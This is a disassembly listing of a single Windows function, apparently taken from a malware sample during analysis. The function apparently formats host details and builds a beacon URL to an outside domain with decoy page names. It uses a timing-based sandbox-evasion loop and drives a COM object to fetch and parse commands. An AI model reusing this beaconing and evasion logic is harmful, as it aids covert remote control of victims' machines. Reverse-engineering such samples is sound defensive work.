Function at 0x401eae
Capabilities:
Terminate process

Disassembly:
push ebp
sub esp, 0x9d0
lea ebp, [esp - 4]
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x9d0], eax
push 0x9c
mov eax, 0x417dc4
call fcn.004139cb
or dword [ebp - 0x3c], 0xffffffff
xor ebx, ebx
mov dword [ebp - 4], ebx
push ebx
call fcn.00404cd3
pop ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
lea eax, [ebp - 0x58]
push eax
lea esi, [ebp - 0x40]
call fcn.00403d12
mov byte [ebp - 4], 1
mov word [ebp + 0x970], bx
push 0x3e
push ebx
lea eax, [ebp + 0x972]
push eax
call fcn.00404950
push 0x1f
push dword [ebp - 0x40]
push 0x20
lea eax, [ebp + 0x970]
push eax
call fcn.00404af9
mov word [ebp], bx
push 0x3fe
push ebx
lea eax, [ebp + 2]
push eax
call fcn.00404950
mov word [ebp + 0x8b0], bx
push 0x7e
push ebx
lea eax, [ebp + 0x8b2]
push eax
call fcn.00404950
lea eax, [ebp + 0x8b0]
push eax
mov edi, 0x41fc8c
call fcn.004035e1
push 0x41e508
lea eax, [ebp + 0x970]
push eax
push 0x41fa48
lea eax, [ebp + 0x8b0]
push eax
push str.name
push 0x41f2c8
push 0x41f1c8
push 0x41f3c8
push str._s_n_s_n_s_n_s_n_s_n_s_n_s_n_s
lea eax, [ebp]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x60
lea eax, [ebp]
push eax
call fcn.004049ca
mov esi, eax
inc esi
mov dword [esp], 0x20800
push ebx
mov edi, 0x41fcb0
push edi
call fcn.00404950
add esp, 0xc
push ebx
push ebx
lea eax, [esi + esi]
push eax
push edi
push esi
lea eax, [ebp]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x14], eax
push eax
call fcn.0040360c
mov dword [esp], 0x41000
push ebx
mov esi, 0x460cb0
push esi
call fcn.00404950
push dword [ebp - 0x14]
push esi
mov ecx, edi
call fcn.0040103e
add esp, 0x14
mov word [ebp - 0x78], 3
mov dword [ebp - 0x70], 0xe
mov word [ebp - 0x68], 8
mov dword [ebp - 0x60], ebx
mov word [ebp - 0x98], 8
mov ecx, dword [0x41fc88]
mov dword [ebp - 0x90], ecx
mov word [ebp - 0x88], 8
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ebx
lea eax, [ebp - 0x4c]
push eax
push 1
push 0x11
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov esi, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x4c]
jge 0x40206d
push dword [ebp - 0x28]
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [ebp - 0x28]
inc dword [ebp - 0x1c]
jmp 0x40204f
mov word [ebp - 0xa8], 0x2011
mov dword [ebp - 0xa0], esi
push 0xc
pop ecx
mov esi, str._wikipedia.aspx_content
lea edi, [ebp + 0x700]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5e
push ebx
lea eax, [ebp + 0x732]
push eax
call fcn.00404950
push 8
pop ecx
mov esi, str._feeyo.aspx_who
lea edi, [ebp + 0x790]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x6e
push ebx
lea eax, [ebp + 0x7b2]
push eax
call fcn.00404950
push 0xb
pop ecx
mov esi, str._airliners.aspx_para
lea edi, [ebp + 0x820]
rep movsd dword es:[edi], dword [esi]
push 0x64
push ebx
lea eax, [ebp + 0x84c]
push eax
call fcn.00404950
mov word [ebp + 0x400], bx
push 0x1fe
push ebx
lea eax, [ebp + 0x402]
push eax
call fcn.00404950
mov eax, dword [0x41e510]
inc eax
cdq
push 3
pop ecx
idiv ecx
mov dword [0x41e510], edx
mov byte [ebp + 0x9b0], bl
push 7
pop ecx
xor eax, eax
lea edi, [ebp + 0x9b1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x44], ebx
lea eax, [ebp - 0x44]
push eax
call fcn.00405281
add esp, 0x34
test eax, eax
jne 0x402147
push 0xa
push 0x1f
lea eax, [ebp + 0x9b0]
push eax
push dword [ebp - 0x44]
call fcn.00405460
add esp, 0x10
mov byte [ebp + 0x930], bl
push 0x3f
push ebx
lea eax, [ebp + 0x931]
push eax
call fcn.00404950
push 0x1f
lea eax, [ebp + 0x930]
push eax
lea ecx, [ebp + 0x9b0]
call fcn.0040103e
push 0x80
push ebx
lea eax, [ebp + 0x8b0]
push eax
call fcn.00404950
lea eax, [ebp + 0x8b0]
push eax
lea edi, [ebp + 0x930]
call fcn.004035e1
lea eax, [ebp + 0x8b0]
push eax
mov eax, dword [0x41e510]
imul eax, eax, 0x90
lea eax, [ebp + eax + 0x700]
push eax
push str.http:__default.diakoniewer.org_twit4ter
push str._s_s_s
lea eax, [ebp + 0x400]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x38
lea eax, [ebp + 0x400]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov dword [ebp - 0x80], edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x3b9ac9f6
jae 0x4021f6
inc dword [ebp - 0x20]
jmp 0x4021e8
call esi
cmp dword [ebp - 0x14], eax
jne 0x402203
push ebx
call fcn.00405704
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x98]
push edx
lea edx, [ebp - 0xa8]
push edx
lea edx, [ebp - 0x68]
push edx
lea edx, [ebp - 0x78]
push edx
lea edx, [ebp - 0x88]
push edx
push eax
call dword [ecx + 0xd0]
push dword [ebp - 0x18]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
push edi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
mov dword [ebp - 0x34], ebx
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x50]
push edx
push eax
call dword [ecx + 0xe0]
cmp dword [ebp - 0x50], 4
je 0x402271
cmp dword [ebp - 0x34], 0x12
jg 0x402271
inc dword [ebp - 0x34]
jmp 0x402243
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], ebx
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x2c]
push edx
push eax
call dword [ecx + 0x48]
cmp eax, ebx
jl 0x4023e5
mov eax, dword [ebp - 0x2c]
cmp eax, ebx
je 0x4023e5
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
push 0x418288
push eax
call dword [ecx]
cmp eax, ebx
jl 0x4023dc
mov eax, dword [ebp - 0x38]
cmp eax, ebx
je 0x4023dc
mov dword [ebp - 0x30], ebx
mov ecx, dword [eax]
lea edx, [ebp - 0x30]
push edx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x4023d3
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push eax
call dword [ecx + pe_nt_image_headers32]
test eax, eax
jl 0x4023d3
push dword [ebp - 0x18]
call fcn.004043e0
mov dword [ebp - 0x24], eax
push dword [ebp - 0x18]
call esi
push str.______
push dword [ebp - 0x24]
call fcn.00405790
pop ecx
pop ecx
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x4023bc
lea edi, [eax + 6]
push str._______
push edi
call fcn.00405790
mov esi, eax
push 0x41a7c0
push edi
call fcn.00405790
add esp, 0x10
mov edi, eax
cmp esi, ebx
je 0x4023bc
cmp edi, ebx
je 0x4023bc
push 0x20
push ebx
push 0x41fc8c
call fcn.00404950
sub esi, edi
sub esi, 5
push esi
lea eax, [edi + 5]
push eax
push 0x20
push 0x41fc8c
call fcn.00405816
mov eax, dword [ebp - 0x14]
add eax, 6
movsx eax, byte [eax]
mov dword [ebp - 0x3c], eax
mov byte [ebp + 0x600], bl
push 0xff
push ebx
lea eax, [ebp + 0x601]
push eax
call fcn.00404950
mov eax, dword [ebp - 0x14]
sub edi, eax
sub edi, 8
push edi
add eax, 8
lea ecx, [ebp + 0x600]
push ecx
call fcn.00401202
push 0x400
push ebx
mov esi, 0x41f648
push esi
call fcn.00404950
push esi
lea edi, [ebp + 0x600]
call fcn.004035e1
add esp, 0x40
cmp dword [ebp - 0x24], ebx
je 0x4023ca
push dword [ebp - 0x24]
call fcn.004058c9
pop ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x40]
call fcn.00403def
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x9d0]
xor ecx, ebp
call fcn.0040488f
add ebp, 0x9d4
leave
ret